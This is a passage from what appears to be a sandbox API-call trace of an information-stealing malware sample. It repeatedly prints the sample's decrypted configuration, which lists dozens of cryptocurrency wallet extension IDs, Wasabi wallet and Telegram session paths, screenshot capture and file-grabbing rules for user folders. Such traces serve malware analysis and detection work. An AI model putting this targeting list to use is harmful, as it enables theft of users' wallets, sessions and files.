Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3407 [0260.176] LocalAlloc (uFlags=0x40, uBytes=0x1a9e) returned 0x6bcc70 [0260.176] StrStrW (lpFirst="wlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.176] lstrlenW (lpString="wlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3407 [0260.176] LocalAlloc (uFlags=0x40, uBytes=0x1b1e) returned 0x6be718 [0260.176] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0260.177] LocalFree (hMem=0x6be718) returned 0x0 [0260.177] StrStrW (lpFirst="wlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.177] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0260.177] LocalFree (hMem=0x6b9720) returned 0x0 [0260.177] LocalFree (hMem=0x6bb1c8) returned 0x0 [0260.178] LocalFree (hMem=0x6bcc70) returned 0x0 [0260.178] StrStrW (lpFirst="wlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension 